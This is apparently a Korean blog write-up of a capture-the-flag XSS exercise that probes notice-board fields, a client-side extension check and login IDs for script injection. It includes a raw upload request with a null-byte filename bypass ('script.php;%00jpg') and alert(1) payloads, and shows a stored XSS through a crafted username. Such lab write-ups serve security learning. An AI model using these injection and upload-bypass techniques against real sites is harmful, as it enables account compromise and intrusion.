XSS Point 찾기, 마지막 문제를 풀어보도록 하자.
여느 때와 같이 로그인 후, 마이 페이지부터 둘러보고 왔다.
user parameter로 전달되는 값이 Response에 출력 되지 않아 바로 공지 사항 페이지로 넘어왔다.
Stored XSS가 가능한 지 확인하기 위해서 제목 & 본문에 각각 스크립트를 삽입해보았다.
왼쪽부터 본문에 스크립트를 작성한 경우, 제목에 스크립트를 작성한 경우이다.
본문에 스크립트를 작성한 경우부터 살펴보자면
해당 게시물의 Response에서 볼 수 있듯이 작성한 스크립트가 대체 문자로 변환된 걸 확인할 수 있다.
제목에 스크립트를 작성한 경우 또한 대체 문자가 사용되면서 스크립트로써 기능은 잃은 듯하다.
그렇다면 검색을 통해 제목에 스크립트가 작성된 게시물을 불러올 때도
대체 문자가 사용되는 지 확인해보자.
작성자가 hanhxx인 경우를 검색해본 결과, 제목에 작성된 스크립트 또한
대체 문자로 변환된 결과를 확인할 수 있었다.
즉 검색 기능을 통해서도 XSS 공격은 불가능할 듯하다.
다른 공격 포인트가 있을까 살펴보던 중, 게시물을 작성하는 페이지를 요청하는 Packet에 대해
다음과 같은 Response를 확인할 수 있었다.
<script> tag로 작성된 코드는 특정 파일 확장자가 아니라면
업로드 할 수 없도록 처리하는 내용이었다.
<script type="text/javascript">
function checkFileExtension(fileName) {
var reg = /(.*?)\.(jpg|jpeg|png|gif|bmp|txt)$/;
var allowedExtensions = /(\.jpg|\.jpeg|\.png|\.gif)$/i;
if(fileName==""){return true;}
if(!allowedExtensions.exec(fileName)) {
alert('업로드할 수 없는 확장자의 파일입니다.');
writeFrm.upload_file.value = '';
return false;
}else{
return true;
}
}
</script>
파일 확장자가 jpg, jpeg, git, png가 아니라면 witeFrm.upload_file 값을 공백 처리하고 false를 반환하는데
<div class = "column">
<form name="writeFrm" action = "notice_write_process.php" method = "post" enctype="multipart/form-data" onsubmit="return checkFileExtension(writeFrm.upload_file.value)">
<div class = "posting">
<input class = "posting_title" name = "create_title" type = "text" placeholder = "제목"/>
<textarea class = "posting_contents" name = "create_body" placeholder = "내용"></textarea>
<input class = "writeBtn" type = "submit" value = "create">
</div>
</form>
</div>
문제는 writeFrm 안에 upload_file이라는 값은 존재하지 않는다.
그래서 임의대로 게시물을 업로드하는 Packet에 upload_file 내용을 삽입해보기로 했다.
POST /xss_7/notice_update_process.php HTTP/1.1
Host: ctf.segfaulthub.com:4343
Content-Length: 513
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://ctf.segfaulthub.com:4343
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTbn07yx64gNWnsyG
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://ctf.segfaulthub.com:4343/xss_7/notice_update.php?id=93
Accept-Encoding: gzip, deflate, br
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=ccf0cc67-e7f0-4493-8cb8-27746700d530.faqKGaLztpnwAmRg7PbYDhMkuvM; PHPSESSID=pe7iln5pr1h9r7on8idujc4kke
Connection: close
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="id"
93
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="create_title"
article3
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="create_body"
article3 file? file
------WebKitFormBoundaryTbn07yx64gNWnsyG
Content-Disposition: form-data; name="upload_file" filename="script.php;%00jpg"
<script>alert(1)</script>
------WebKitFormBoundaryTbn07yx64gNWnsyG--
원래는 create_title, create_body 내용만 작성되어 있던 Request인데
upload_file 내용을 추가해 스크립트를 삽입해보았다.
게시물을 업로드하고 나면 스크립트가 실행돼야 하는데
게시물의 상세 페이지에도 그렇고 파일에 관한 내용이 어디에서도 찾아볼 수 없었기 때문에
PHP 파일로 업로드해볼까 했지만, 문제는 파일이 업로드 된 정확한 경로를 몰라서 요청을 할 수가 없었다.
확장자 필터링을 우회하기 위해 NULL byte와 jpg를 사용했건만, 업로드한 파일을 활용할 줄을 몰라 실패..!
그래서 다시 처음으로 돌아가 하나씩 다시 살펴보기로 했다.
로그인 창부터 다시 시작해보자. 사용자가 계정을 입력해 Login 버튼을 누르면
index 페이지로 이동하면서 사용자가 입력한 ID가 화면에 출력된다.
이 기능이 어떻게 구현된 것인지 예측해보면,
(1) 회원 가입 시 사용자가 입력한 ID가 DB에 저장되고
(2) 로그인 시 사용자가 입력한 정보로 식별 / 인증 과정을 거쳐
(3) 인증이 완료된 사용자에 한해 로그인 과정에 입력한 ID를 출력해주고 있는 듯하다.
그렇다면 만약 회원 가입을 할 때, 애초에 script를 삽입한 ID를 생성해둔다면
로그인 후 index 페이지로 이동할 때 ID에 포함된 스크립트가 실행되지 않을까??
실험해보기로 했다.
스크립트를 포함하는 계정을 하나 만들어주고
(성공적으로 회원 가입이 됨)
방금 생성한 계정으로 로그인을 시도해보았다.
결과를 확인해보면 ID에 포함된 스크립트가 실행되면서 팝업 창이 뜨는 걸 볼 수 있다!! 👏
ID에 있는 스크립트는 말 그대로 스크립트로써 실행되기 때문에
Welcom 문구에는 "han"만 출력되는 걸 볼 수 있다.
Packet을 확인해보면 ID에 삽입한 스크립트가 의도한 대로
<script>로 HTML 속에 삽입되면서 팝업 창을 띄울 수 있었던 것!!
(이 취약점은 XSS Point 이전 문제에서도 실행된다)
이렇게 해서 총 6개의 XSS 취약점을 찾아보는 문제를 풀어보았다.
생각보다 XSS 취약점이 많이 발견될 수 있다는 게 새로웠던 거 같다.
발견될 수 있는 포인트가 많은 만큼 취약점을 발견하기 위한 방법도 다양하다 보니
공격의 기본적인 원리를 확실히 이해하는 게 정말 중요하다고 느끼는 시간이었다. 😛